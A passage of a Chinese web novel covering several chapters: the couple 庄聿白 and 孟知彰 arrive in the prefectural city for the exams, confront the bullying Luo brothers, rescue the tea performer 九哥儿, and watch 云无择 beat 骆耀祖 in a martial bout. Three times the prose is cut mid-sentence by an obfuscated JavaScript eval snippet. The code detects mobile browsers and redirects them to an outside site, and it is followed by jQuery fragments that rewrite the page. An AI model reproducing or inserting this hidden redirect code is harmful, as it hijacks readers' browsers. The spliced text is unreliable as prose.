至于葡萄园，云先生大半时间都在园中，还有刘叔看着，以及日常来照料的乡邻。私下庄聿白给乡邻预付了一个月的工钱。 再有就是已经抽穗灌浆的禾田。施过自制肥料的田地中，稻穗明显更重更长。可不到稻米归仓，一切都不好说。 田中事，夫夫二人亲自去了趟族长家。族长让二人放心。农时误不得，孟知彰家中田地，他和族中会一起看着。等院试回来，差不多就能准备秋收了。 七月二十九，天还未亮，阵阵鸡鸣声中，孟知彰、庄聿白一行就离开了孟家村。 云无择和长庚骑马在前开路，牛大有与孟知彰夫夫赶车紧随。 坐在车厢内的庄聿白感觉自己要被乡邻们的热情淹没了。物理意义上的淹没。车厢原本不大，堆满了各类青菜、萝卜、还有一篮鸡蛋，一罐坛子肉……知道的明白这是去府城考试，不知道的还以为携家带口在逃难。 牛婶怕他们路上吃不惯，特意现做了两篮饼子，一篮菘菜猪肉馅让众人分食，还有一篮素馅的给长庚师父。 最最让庄聿白哭笑不得的是，牛婶怕车厢颠簸，一路太过辛苦，把给孟知彰娶亲用的厚厚的大红喜被也给塞进车上。 红亮亮的囍，让这个本就狭小的车厢变了氛围。 * 一行人赶到东盛府时，已是八月初一黄昏。 见惯现代都市繁华的庄聿白，路过城门，看着往来行旅，还是不禁感慨此间的熙攘热闹。 庄聿白视线偏了偏，夕阳西下，漫天云霞铺扯开来，暗红色一片。随着光线转弱，竟隐约透出一股血色。 背景中的行人似在渐退渐远，就在这不无悲凉的暮色下，云无择与长庚正停马伫立天地间，遥遥望着城中。 庄聿白看不清二人的表情，但却能感知二人胸中难抑的汹涌。 二十五年前，长庚扶着骆毅的灵柩从此门入城； 十八年前，也是这个城门，长庚欢天喜地揣着那块无事牌要送去骆家，听到的却是骆瞻的死讯； 眼下，他带着骆家的骨肉再次踏入此城。 他知道，这一次将会是一个全新的起始。一个明亮的起始。 夜色拢住暮色，再回头，那颗最亮的长庚星，已挂在天际。 59. 府城 一行车马到达齐物山时，天色彻底黑下来。 刘叔已提灯等候多时。 一路舟车劳顿，并未做过多寒暄，何况依双方关系也不需这些虚礼。 主屋三间，夫夫二人住了。东西厢房各两间，牛大有住西厢，云无择师徒则开始往东厢搬行礼。 “茅舍简陋，空房子倒多，这几日已经着人打扫了一遍。”刘叔也帮着从车厢往外搬东西，“书院每年会给学子分发被褥，有一些宽裕的，前几天太阳好，已经好好晾晒过。都是全新的，你们先凑合着用。” 刘叔看着孟知彰将那一床大红喜被从车厢抱出来，低头笑了笑，并未说什么。 到底是战犬，一路下来连马都显出疲色，全程跟在车前马后的应龙，此时竟然还能十分活跃地围着云无择。 云无择摸摸它的头，给它一个水囊。应龙小心咬住，前蹄高抬一路哒哒哒放到房中桌上，又一个鹞子转身窜回主人身边，抬脸等待分派下一个任务。 终究是人倦马疲，简单收拾后，众人囫囵睡了。 睡饱的庄聿白，蜷在暖乎乎的被窝中伸了个懒腰，他睁眼看看四周，床侧人早不知去向。 已是初秋，山中天凉，蹬出被子的小腿明显察觉到凉意，勾着脚尖又缓缓缩了回来。 房间很大，有一床一榻，为了在外人面前维持相亲相爱的已婚状态，庄聿白还是决定同床而卧。 被子蓬松温暖，害得庄聿白又赖了半天床。但大红喜被上那个囍，又让他心中怪怪的。俩大男人盖一床囍字……还是怪。 算了，不想了。明日是考试正日子，今天还有不少正事要做。第一要务就是看考场。 庄聿白穿衣走出房门时，牛大有正在南面倒座房中忙活早饭。接过对方递过来的饼子，庄聿白方得知，天微微擦亮，长庚师父就带上他两位爱徒山中晨练去了。 竹舍离城不算远，步行半个多小时。早饭后，几人各自行动起来。长庚随云无择骑马去探查武举场地，牛大有则跟着夫夫二人去贡院附近探路。 贡院，位于城中繁华之地，交通便利，商业发达。贡院前街的尽头则是城中最有名的水源，浣墨河。今秋最大的斗茶清会场地，几日前已经沿河摆在那里。 庄聿白方向感不是很好，好在有孟知彰和牛大有，几人走了一圈便将明日进考场的路线定好。 好不容易来到心心念念的府城，庄聿白看什么都是星星眼，他带着两个魁梧雄壮的近身“保镖”，在街铺中来回穿梭，不到一个时辰，来时空空如也的马车，已商品琳琅。 3家点心铺子的各色果品就买了5大盒，说家中人多，大家一起尝尝；竹品铺子编制的精巧摆件也收了四五件，什么小屏风、小壁橱、还有一个大鼻子稻草人；成衣铺子当然也要走进看看，好见识下府城人的流行风尚。并且秉着来都来了的原则，他给孟知彰和牛大有各选了一套衣衫，他自己也有份。 纸笔铺子自然不能放过，牛大有赶车去了炭柴铺子集中的后街，夫夫二人则挑了招幌最大的一个铺子。 虽做了心理预期，庄聿白还是被震了一下。铺面是打通的三大间，视野极为阔朗。产品展列区按照笔墨纸砚分成四块，只虚虚从二楼垂下几面长条月白色半透明纱旗，算是做了分隔。 所有商品一目了然，进门客人可以根据所需直奔主题。 见客来，早有个伙计迎上前，笑说：“两位郎君需要些什么？我们家是东盛府最大的文房用品铺子。” “我们看看纸笔。” 满墙深浅不一的白纸、青纸等，整齐划一又错落有致地铺到人眼前，庄聿白一进门便被吸引过去。 伙计忙将厚厚一沓纸张样册捧到二人面前：“单单书写用纸，我们家就有上百种，一张价格从几文到上百文的都有，小郎君喜欢什么样的？” 样册粗看有百余页，每页为一张样纸，右上隽秀小楷写着该页纸张的品类，有水纹纸，有高丽纸，当然也翻到孟知彰给三省书院抄写用的剡藤纸。 庄聿白一页页翻着样册，虽都是白色书写纸，但纸张与纸张的差别，一经手，便能直观让人感觉出高低优劣。好的纸张，绵韧细密，莹润如玉，似绸缎，似丝羽，一双手缱绻其上，久久不愿离开。翻走的瞬间，会让人莫名产生一种戒断感，如失恋般忧伤、空落。 “两位郎君，看着不像本地人，是外地赶来参加这次院试的吧”伙计借机闲聊上几句。 “你怎知我们不是本地学子？”庄聿白一双手仍在样册上翻着。 “府城学子出门多穿院衫，像身着这种白衫青衿的，一看便知是我们这里最好的书院三省书院的学子。” 庄聿白视线跟过去，旁边砚台区围着几名长衫书生。白衫青衿确实将人衬得文质彬彬。看来三省书院不仅书品好，衣品也很不错。 三省书院挑选学子较为严格，能进入书院的学子，将来至少一半以上都是能入仕做官的。所以着三省书院的院衫在路上行走，一般市井行人大都会避让一二，以示敬重。 庄聿白回头看了看身旁的孟知彰，若这套衣衫若穿在这副身板上，会不会更加有魅力？然后隔着整理得一丝不苟的衣衫，摸上一把…… 忽然一阵小骚动，打断庄聿白的遐想。 那几个书院学子急匆匆往门口迎去。原来铺门口呼啦啦进来一群同样衣衫的书生，正簇拥着一人往铺内走。 那人同样身着三省书院院衫，只是身量较身边人高些，长得也算仪表堂堂，猛然看去，眉眼间和云无择竟莫名有两分相近。庄聿白觉得应该是自己眼花，才会产生这样的错觉。 但这相近的这两分中，又被一股世家子弟独有的傲慢和目下无尘所挤占。 庄聿白从伙计口中得知，来人骆耀庭，也是三省书院标准的“四好学生”。 第一好：长相好，相貌出众，一表人才。 第二好：家世好，东盛府首屈一指的家族，骆氏家族大公子，也是骆氏话事人骆睦长子。 第三好：才情好，今年院试榜首热门人选，说“热门”都算含蓄了，应该是众望所归的院试榜首；满学院，甚至满东盛府所有童生试阶段的学子，论才情皆无能出其右者。 第四好：家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036717|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学好，虽祖上武将出身，但他父亲一辈已经开始走读书求仕之途。他叔父骆瞻，可是庆鸿九年二甲第八名进士出身，家学底蕴颇为深厚。 前三点庄聿白也就点头应着，听个热闹。但“骆瞻”名字一出，他不觉一怔，回头看时，正撞上孟知彰看过来的眼神。 没有惊讶，甚至没有波澜，似乎早在意料之中。 忽然庄聿白手中一空，那本样册到了一个长衫学子手上。 “骆公子今日要采买应试用的笔墨纸砚，闲杂人等通通避让！说你们两个呢！听到没有，门在那边”，那人颐指气使地一根手指朝外指了指，扬起鼻孔，“请吧。” “我么？”庄聿白心中大不悦，“凡事讲个先来后到，凭什么让我们走？” 似乎听到这边的争吵，骆耀庭视线偏了偏，抬起眼皮，漫不经心在两人身上扫了一下。视线掠过庄聿白眼尾那枚淡淡的泪痣时，若有若无停顿半刹，随即眼眸半转，颇为大度地抬手制止身旁同窗：“想来是外地来赴试的学子，大家是同道中人，我们理该照应一二。” 骆耀庭声音稳重，听不出情绪，只是出于教养，说一些标准客套话让场面不至于太尴尬。当然在他看来，眼前的两个人还不值得他花太多精力。让这两人扰了今日兴致，更是不值得。 “今日相见，皆是缘分，若有什么看上的，也一并记我骆某账上即可。” 骆耀庭说完没再多看二人一眼，轻轻振下衣袖，在众人的簇拥下，走了。 两人也觉无趣，一时出了纸笔铺子。庄聿白嘴里叽叽咕咕的，显然对方才的骆耀庭印象一般。斗茶清会的茶坊水肆已沿河设好摊位，今日剩下的时间，大可以用在那里。 二人沿街向浣墨河方向边逛边走。庄聿白正拿起路边糖果摊上的两支糖人，问孟知彰喜欢哪一支时，忽一行人闹吵吵从对面跑了过来。 前面一身量娇小的少年，边跑边朝后求饶，说着些“求骆公子行行好”“骆公子放过我吧”之类的话。 少年身后几丈远，高头大马上坐了个张扬公子哥，正半起身挥鞭抽打马前少年为乐。 再后面则是七八个气喘吁吁的仆役，看样子又像某个茶肆的伙计，乌泱泱追着求情：“公子啊，斗茶清会马上开始，您可不能伤了九哥儿啊！”“九哥儿啊，你就给公子低个头吧！” 眼见混乱场景就到面前，孟知彰忙伸出手臂，半搂半抱将庄聿白护到街旁。毕竟事出有因，庄聿白对光天化日下二人这种过多的肢体接触，并没有什么抵触。 谁知此时那马上之人却像失了心疯，开始将手中鞭子抽向路边行人。 眼见一截钢珠编缀的皮质马鞭猛甩过来，离庄聿白的脸只差半尺……庄聿白心中一颤，吓得忙闭上眼。 一声呼啸抽过耳际，随着“哐啷”一声，庄聿白再睁眼时，却见那条马鞭已被扔在街道正中。 被人当众下了鞭，和被人当众甩了耳光有什么区别？骆家二世祖骆耀祖，何曾受过这般屈辱！ 他登时恼羞成怒，当即勒马扬蹄，选定孟知彰身旁战斗力为零的庄聿白，凶狠地踏上去。 60. 九哥 立马踏人，九死一生，这是下了杀手。 来不及过多反应，孟知彰拦腰将庄聿白带至自己身后。微微侧身，找准角度和时机，待马蹄扬到最高点泄力的瞬间，另一只手猛地钳住马蹄，借力外推。 连马带人脚下不稳，马匹嘶鸣声中，踉跄几步才在街中停下。 庄聿白惊魂未定的整颗心，被一只大手稳稳托住，安抚再三，待整个灵魂安定后，方小心翼翼装回他的胸膛。 孟知彰心中隐隐后怕。这可不是一般的马，通体红亮，如鲜血翻涌，这与书中对西境汗血宝马的描述极为相似。汗血宝马性烈劲悍，若方才它用力更凶狠些，若方才自己没能挡开那一蹄…… 有些事情能够面对，是因为仍有补救或挽回的余地。但有些事情……孟知彰不敢想下去，他从来没这般瞻前顾后过。 他不觉将半拢在臂弯中的人圈紧一些，一双眼睛上下检查、确认。衣袖宽松，将手背完全盖住看不清其下状况，他一把抓起手腕，细长白皙的一截手腕就这样随着袖口滑落而露了出来。 孟知彰的目光带着温度，庄聿白的手腕被烫得细颤一下。 庄聿白第一次众目睽睽下与孟知彰靠得这样近，他也是第一次从对方的眼睛中看到不安，看到担忧。 慌乱中，庄聿白轻轻推开压在自己手腕上的那只大手：“……我无事。” 大手微怔片刻，缓缓收了力气。庄聿白抬眸，想补一句感谢的话，视线交错的瞬间，刚刚放进胸膛的那颗心忽又猛烈悸动起来。 庄聿白嘴巴张了张，终究什么也没说出口。 关于这次悸动，后来庄聿白给自己找到了一个合理的解释，是吊桥效应在作祟。对，一定是这样。 抵在后背上的臂膀，坚实有力，庄聿白靠着它找回重心，站直身子后从孟知彰怀中挪出半步，保持一种得体又安心的社交距离。不至于太亲密，也不至于太疏远。 回过神来的骆耀祖，自己也被震住了。 他原也没打算下此死手，是刚才脑子发昏。明日武举比试，今日若是闹出人命来，这祸事他可承担不起。回家父亲定会抡起板子狠狠打自己的。 好在对方挡住了。骆耀祖心中松了口气，可这口气松到一半，忽然又提起来。 ……对方竟然能挡住？！ 说实话，骆耀祖心中有些慌。他在马背上调整下坐姿，扬起下巴，蔑视地看着地下众人，极力找回他骆家二公子的威仪。目光扫到方才下了自己马鞭、停了自己马蹄的魁梧男子时，眼神还是不自觉躲闪两下。 此人虽一身书生装扮，内里却是个极狠厉的武夫，身上很有些功夫在。若一对一硬打，他并不确定自己有几成赢面。而且因为九哥儿的事，真若动起手，身后这些茶肆仆役未见得一定会实心实意帮自己。 以免再吃亏，骆耀祖学聪明了，没再轻举妄动。 早有人将地上鞭子捡起来，递到方才那叫九哥儿的少年手里，并用力给他递了几个眼色，意思是赶紧去服软认个错。 九哥儿眉心紧锁，接过那马鞭，低头走向前，姿态恭敬地递给马上的混世魔王。路过孟知彰二人身边时，目光偏了偏，递了个求助的眼神。 “你不过一个伶伎，跟小爷我这儿装什么清高？”骆耀祖双臂环抱，微微后仰，故意不接马鞭。 有人上前拽了拽九哥儿袖子。九哥儿会意，贝齿紧咬，低头扑通跪在马前，将马鞭高举过头顶，递到骆耀祖踩着脚蹬的金丝蝠纹短靴旁：“求二公子开恩饶恕奴家！正如二公子所言，奴家本是一伶伎，身份低贱，哪配在二公子身边服侍。” “呦！拿话堵我！”骆耀祖乜斜眼，心中憋着坏。外人打不得，你一个弄茶倒水的伶人，也敢在我面前奓翅！信不信，弄死你就像碾死一只蚂蚁。 他耷拉着眼皮，看了眼恭敬举到自己脚边的皮鞭，短靴从镶金马镫中抽出，朝着那双白净纤瘦的手狠狠就是一脚。 九哥儿吃不住劲，和马鞭一起重重摔向一旁，砖石街面坚硬，九哥儿感觉自己五脏六腑都要震出来了。他顾不得疼，忙又恭敬地跪回骆耀祖脚下。 “把你臂钏给我！”骆耀祖盯着脚下之人一声狞笑，看到对方眼睛中的恐慌和无助，心中得到极大满足，然后又漫不经心收回目光，慢条斯理把玩起手上的玉雕扳指，“实在不行，你今晚陪我，将本公子伺候开心了，也不是不可以。” 伶伎皆会佩戴两只臂钏，平时掩于袖中，一般不示人，也不见光。见光之时，要么以身相许，要么易主更名，要么身死入土。 所以骆耀祖提出要九哥儿臂钏，无异于当下将人巧取豪夺了。 “臂钏是奴家的命。二公子饶了我吧。”九哥儿一个头磕下去。 “那就是答应陪我一晚了。” 一旁的茶肆老仆看不下去，他们知道这二世祖素日张扬跋扈惯了，今日若不依他，天顶都能捅出个窟窿来。但若依了他，茶肆的斗茶清会就算毁了。最重要的清会若是毁了，茶肆接下来一年的生意也就不用做了。 这是老爷不在家，这位祖宗喝了点酒就出来浑闹。 “二公子，这可使不得啊，使不得！咱悦来茶坊的斗茶清会可指着九哥儿呢！茶坊的茶博士必须是清倌人！眼下这个当口，可开不得这种玩笑啊，二公子！” 这是拿话在点骆耀祖，若他实在想闹，等斗茶大会结束把天闹塌了也没人管。只现在不行：“而且，您明天不是还有武举比试，若是被老爷知道……” “住口！老混驴！”骆耀祖见到这些老头子就烦，这会儿又搬出他爹来压他，“若我今日强要了他，又能奈我何！” 骆耀祖说着示威似地，勒马绕着地上的九哥儿转了两圈，探下身来，就要将人强行掳走。左手刚要抄住九哥儿腰身，不知哪飞来一脚。 “啊呀——”骆耀祖大叫一声，捂住手猛地坐回马上。 孟知彰立于马前，看身后庄聿白将那九哥儿扶起来，退至街旁安全位置，方冲着马上人拱拱手：“公子若再如此张狂，恐怕明日的武举会场，就上不去了！” “你是谁？凭你也敢威胁本公子！”骆耀祖面漏凶光。 孟知彰嘴角扯了扯：“吾乃一外乡人。路见不平，好言劝说几句。若公子不愿意言语以对，在下也略懂拳脚，可以向公子讨教一番。” 骆耀祖不知道对方底细，但他清楚自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039296|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的斤两，明日还要登台比试，今日当街真与人打起来，传出去似乎不大好听。不过狠话还是要放的。 “你不过一外乡人，你护得了他一时，护得了他一世不成！” “公子这话提醒了我，有些事，还是现世现报的好。”说着孟知彰上前控住马首。 马上之人吓得圆脸失色：“你……你要做什么！” “你方差点伤到我家夫郎。我看你这扳指不错，只可惜你马上就戴不上了。” 骆耀祖下意识将手往身后藏，谁知孟知彰预判了他的预判，早一步挪至他身侧。骆耀祖只觉拇指一凉，心下一沉，慌叫：“……我的手指！” 孟知彰将扳指再对方面前晃了晃：“今日是扳指，下次就不知道是什么了。我在这府城还是要待上一段时日，若再被我遇到，可没这么简单了。” 孟知彰将扳指丢还给对方，不等骆耀祖再说什么，在马背上猛地一拍。那马忽受刺激，嘶鸣一声，载着它的主人撒腿疯跑走了。 那九哥儿对两位解围恩人，甚是感激。鉴于自己的身份也不便当众说什么。只自报了家门，说自己是悦来茶坊首席茶博士，两位恩人若得闲，千万到茶坊饮一盏茶。说完便告罪先离开了。 闹了这一大场，这街是逛不下去了，好在不多时牛大有赶着马车找了来。 分别时牛大有见二人进了纸笔铺子，此时却两手空空：“没买纸笔？” 庄聿白看了眼孟知彰：“或许我们再挑一家铺子买些？” “考试纸笔，并不是越新越好，越贵越好。关键在顺手、顺心。琥珀从家中带来的纸张，一直用着甚好。想来明日也定能助我一臂之力。” “好。”庄聿白点头，“你常穿的那套长衫，我也洗好带了来。考试时穿熟悉的衣服，容易情绪放松，也能更好发挥实力。” 牛大有嘿嘿笑两声，他看看庄聿白又看看孟知彰，不知从哪学来一个句式，认为很适合当下场景，当即化用起来：“有夫郎如此，当真好福气。” 牛大有并没有注意到庄聿白脸上一阵红一阵白，因为云无择和长庚遥遥打马过来。众人汇合后一起回了山中。 明日武举比试，今日遇到骆氏兄弟二人之事，孟知彰并没有告诉云无择。但既然到了府城之地，想屏蔽骆家信息，也没那么简单。 庄聿白小时候，外婆会在考试当日给他准备一根油条两个鸡蛋，希望他能考满分。可眼下不管科举还是武举，都不是百分制。 临睡前，庄聿白特意预订了早餐，请孟知彰做拿手的饼子，每人吃两个，寓意考试一切顺利，圆圆满满。 第二日，全家人早早起来，吃过早饭，将备考之物全部检查一遍后，各自出发了。 云无择由长庚师父陪着去武场比试。庄聿白和牛大有驱车将孟知彰送至贡院门外。 文试不对外，但武举可以旁观。目送孟知彰进入贡院大门之后，驱车二人组掉头去了武场，作为亲友团，去给云无择加油助威。 人山人海中，庄聿白看清台上交手的两人时，心中不禁一颤。 一人是云无择。 另一人，则是昨天路遇的骆家二公子，骆耀祖。 61. 比武 武举台下挤满看客。 一则能进到府城武举比试的自然有些真本事，这不比街上杂耍热闹，确实值得看。二则参加比试之人，往往都会现场散些果子银钱什么的，讨几声好，也图个好彩头。 果然台下几个骆家家丁正在那拎着袋子发东西，红色彩纸包成的吉祥福袋。庄聿白和牛大有也被塞了两个，打开是两枚大钱、一枚荷花酥。 那家丁笑着往台上指指：“右手边这位一表人才的，正是我家二公子，劳烦小郎君叫声好。” 这属于公开拉票么？虽说啦啦队的票不算数，但胜在有气势，有排面。 确实这一轮散财大法之后，台下“骆二公子威武！”“骆二公子必胜！”此起彼伏。 庄聿白不知道这散钱果的规矩，现在就有些后悔没准备。如同陪考的家长，别人都穿高开衩的旗袍等在考场外，而且衩一个比一个高，寓意“旗开得胜”。一身运动装束的你，自然会焦虑，唯恐因为自己准备不到位而耽误了考场上的孩子。 庄聿白又打开一枚骆家福袋，该说不说，这荷花酥味道还不错。怀中揣了太多，他将要装不下的塞给一旁的牛大有：“大有哥，你也吃！” “吉祥福袋里装荷花酥，能不输么？”和话一起递过来的，是一枚月白色福袋，杏黄色流苏细绳扎口。 庄聿白抬手接过，却见一明丽少年站在面前，通身衣服得体不招摇，但头上勒着的那条抹额，一看便知是个有钱人家的公子哥儿。 “兄台，这是茯苓糕，招招高，给对面这位……这位，”少年眉间迟疑，转头问过身后小厮，“给对面这位‘云无择’叫好。” “你认识云无择？”庄聿白没听说云无择安排了福袋发放。 “我和他……是本家！”少年笑得眼睛弯弯，“福袋拿好，等会记得帮忙喊号子助威！” “小祖宗，你果真在这里。”人群中挤来一个年岁大的家丁，一把抓住那少年，连哄带骗，“大公子怎么交代的，骆家在的地方，我们躲远点！大公子若是知道你今天跑来给骆家对家当众叫好，小心他告到学中让先生罚你！快跟我回去！” “你不说，我大哥又怎么会知道！就说我此刻跟大嫂学理账呢。”少年将手上福袋一股脑塞给老家丁，撒娇说，“好了啦，快帮着发福袋！早点发完，咱早点回去！” 那老家丁连连摇头，又拿他家这位小祖宗没办法。少年见庄聿白与自己年纪相仿，又有眼缘，直接凑到对方跟前。 “你和云无择是本家？”庄聿白问。 “常言道，敌人的对家就是本家。我自来看不上这骆二。所以能让骆二不爽的事，我就爽！”那少年说得坦荡又赤诚，“怎么，你认识这位云姓公子？” “既如此，你我也算本家。”无以为赠，庄聿白递了块荷花酥给对方，哪怕短暂的利益重合，此时此刻就是朋友，“人讨厌，但果子没有罪。我今日借花献佛，你尝尝这荷花酥，味道不错的。” “是不错。”那少年也是个不拘小节的，接过来就吃了，又说，“对面骆家光是教习师父就请了一排。看到了么，骆家打点过，台下特意留了第一排好位置坐着。方便随时给台上那骆二调整战术。你们这位兄弟功夫如何，打得过么？” 不等庄聿白回答，少年胳膊怼怼他：“先不说功夫，你家这位云什么公子，长得真是玉树临风、风流倜傥呐。再瞧对面骆家那位……切，哪来的胖头鱼！” 云无择身上有云鹤年的清冷矜贵之气，还有一股似乎来自沙场的冷厉之风，往台上一站，宛如谪仙持剑，仪态万千。 庄聿白正要在人群中寻长庚师父，忽觉衣摆被什么扯住，正用力往下拽。他低头一看。 “应龙！” 庄聿白猜应该是长庚师父担心比试开始后有什么情况，就把应龙交给他们来照看。 庄聿白不是不喜欢小动物，可这是只大动物。而且此前彼此还有过一些嫌隙，当初刚穿越来时，路过云家附近，还以为它是只大黑豹，把自己吓个半死。 可家长放心把孩子交到自己手上，作为临时监护人，自己怎么都得表示下友好。庄聿白学着平时们孟知彰跟它互动的模样，伸出手，僵硬地摸了摸应龙的脑袋。圆圆的，顶着厚实又顺滑的黑色绸缎皮毛。 应龙看到庄聿白发现自己，方松了口，乖乖蹲坐在庄聿白脚边。尾巴友好地摇了两下忙又收起来，担心别人不小心踩到它。 “这是云公子的战犬。”庄聿白给新朋友介绍这位老朋友。 新朋友递了块茯苓糕给老朋友，老朋友看了眼监护人，得到认可后咬住吃了。三方都很欢喜。 “咚咚咚——”台上鼓声起。 台下喊声更烈，呼声震天。“骆公子必胜！”“云公子雄起！”“骆公子威武！”“云公子天助！”一时倒也难辨哪方支持者多。 台上比试两人站定两端。主考官正襟危坐，着皂吏检查二人所携兵器，无误后宣读比武规则，五局三胜，明令点到为止，若一方伤残，双方皆失去接下来比试资格。 微风轻拂，迎着澄明旭光，云无择抬手抱拳，朝对面之人行了一礼。 对面之人则双腿叉立在台上，鼻孔朝天，满是蔑视和傲慢。台下他那一排师父中有人咳了一声，他方不情不愿简单抬抬手，算是行过了礼。 骆耀祖手中是一把通体乌黑的长剑，剑刃出鞘，日头下发着冷光，令人不寒而栗。一看便知是一把难得的好剑。 云无择用的则是家中后山上三年龄湘妃竹做的一把竹剑。 皂吏战旗一挥，全场屏住呼吸。 “啊啊啊——”骆耀祖气势十足，大喊着挥剑朝云无择刺来。 云无择站定在原地，等对方靠近，手腕轻转，剑尖正正点在骆耀祖胸口。骆耀祖还要反抗，却听对方冷冷道： “不想受伤，就别动。以及按照规则——你已经死了。” 不等骆耀祖分辩什么，皂吏鸣锣。第一回合，结束。 骆耀祖不确定面前此人是功夫好，还是运气好。但他一时不敢轻敌。回头看看那一排师父们，临时抱佛脚，仔细回忆一下最阴损的狠招。眼神凶狠盯着对方，你等着！ 黑剑指天动地一番操作，确实乱剑迷人眼，台下的庄聿白狠狠为云无择捏了把汗。 可能是嫌弃骆耀祖大喊着跑过来太过吵闹，云无择选择向前迎了两步，转身间，竹剑已轻轻松松架在对方颈部。 皂吏再次鸣锣。第二回合，结束。 骆耀祖心下急了，忙慌慌跑到台下他那一圈师父当中，好歹虚下了一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045903|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点心，仔细听从师父们的战术指导。 再次登台的骆耀祖信心大增，眼神中是如有神助的自信。这次他学乖了，保存体力等在原处。 或许云无择真的想让对方这张脸在自己面前消失。他脚下生风，凌波微步滑到骆耀祖跟前，不等对方抽剑，竹剑轻划，骆耀祖鬓边一缕头发掉了下来。 “抱歉，你又死了。” 鸣锣又起。第三回合，结束。前后不到一盏茶时间。 云无择收回剑，动作干净利落，留骆耀祖和他那一坨窝窝囊囊的影子原地愣神。 “云兄赢了！云兄赢了！”庄聿白刚要兴奋鼓掌，胳膊却被身旁少年拉住。 “胜负难料。先别高兴太早。” “不是五局三胜么！那骆耀祖根本没反击机会。我们云兄稳赢三局！全场这么多人看着，总不能混淆黑白、颠倒是非吧。” “要么说你刚来、对府城不了解呢！骆家，在府城恨不能手眼通天，谁都休想灭过他们骆家的次序去。从文，他们家有大公子骆耀庭，三省书院的骄傲，今年院试榜首非他莫属。从武，目前他家能拿出手的就这骆二，自然要好好运作一番的。我听闻昨天他还要当街强了悦来茶坊的九哥儿呢。简直畜生！” 少年赤诚干净，见不得龌龊事，恨恨在手心砸了一拳，“至于从商，府城半数商铺都受他家荫庇……” “半数？兄台家也受这骆家荫庇？” “我呸！荫庇？他也配！”少年忽然意识到还未自报家门，忙说，“对了，我叫薛启辰，你叫什么！” “我叫庄聿白。” 两人一见如故，还想继续聊些什么，方才那家丁将薛启辰拉走了:“二公子，快回家吧。听说大公子已经听说你来了这里。先想想等会如何交代吧。” 台上主考官将场上两名监督皂吏叫到身边，一番交流后，迈着四方步缓缓走至台中，伸手向下压了压，全场顿时安静。 “本场比试，获胜者长宁州云无择！” 静。 现场一阵死寂，静得让人觉得这个世界都失真了，只剩远处隐隐传来的市井喧闹声。 “哐啷——”那把锃亮的乌金剑狠力掷在台上。 果不其然，台上的骆耀祖闹起来，指着云无择道：“哪来的乡野村夫！敢与本小爷抢风头！你也不掂量掂量自己几斤重！” 云无择置若罔闻，云淡风轻将竹剑收起来背至身后。临风之姿，优雅挺拔，越发衬托出同台之人之不堪。 骆耀祖跺脚大叫：“对，剑！他那剑一定有问题！” 两名皂吏忙向前点头哈腰：“骆公子，检查过的，不过竹剑一把，委实没有任何问题。” “那就是他人有问题！”骆耀祖台上不依不饶，耍浑更甚， “比武时他不时冲台下一个和尚点头致意，当我瞎么！竟敢请妖僧现场施法？真是无法无天！那秃驴呢，快去给我抓住！” 台下庄聿白很是生气。他伸手摸了摸应龙的脑袋，在毛茸茸的耳边说了句什么。 应龙耳朵“嗖”地一下立起来，两步窜到台上，瞅准时机，死死咬住台上那口出狂言之人的裤子，用力一拽。 白花花的大腿在太阳下面一照，向来欺行霸市的骆家二世祖，脸面碎了一地。 62. 裤子 骆耀祖正在那台上大放厥词，忽觉腿上一凉，等他反应过来已经来不及了。 还好有家丁扯了旗帜给他护住，搀扶着下了台。嗐！真是有伤风化。 应龙像通了人性，不仅众目睽睽下撕下骆耀祖的裤子，又一跃下了台，拖拽着那条红色丝绸长裤沿街跑起来。 骆家仆役在后面一路追、一路喊、一路骂。街道两旁挤满看人闹的人。 应龙担心他们跟不上，见对方离得稍远时，还故意停下回头等等他们。就这样人仰马翻地绕城大半圈，应龙终于在一座高门大院前停下来，裤子朝门前一扔，不见了踪影。 骆家门房走出来两人，指天指地地骂哪个短命鬼的裤子扔在他们骆家门前，却见今天跟他家二公子出去参加武举的几人，破马张飞、吵吵嚷嚷跑了回来。 这等爆炸乐子事，不到半日府城传了个遍，满城风雨。 骆家二公子骆耀祖，武举台上不仅输了比试，输了风度，还当街输了一条裤子。尤其最后一点，最为人所喜闻乐道。恨不能听到句影子，哪怕家中灶上烧着水，都必须站下聊两句。 有说骆耀祖根本就是个草包，此前传得神乎其神，说四海八荒请来各路名师教习武功。银子没少花，最后教出来个绣花枕头，中看不中用。一登台，全漏了馅。 有说这位二世祖青天白日当众辱僧谤道，上苍看不惯，天降一条神犬，将他的裤子拽了去。没准那就是二郎神的哮天犬。没当场取他性命，已经算是骆家祖上保佑了。 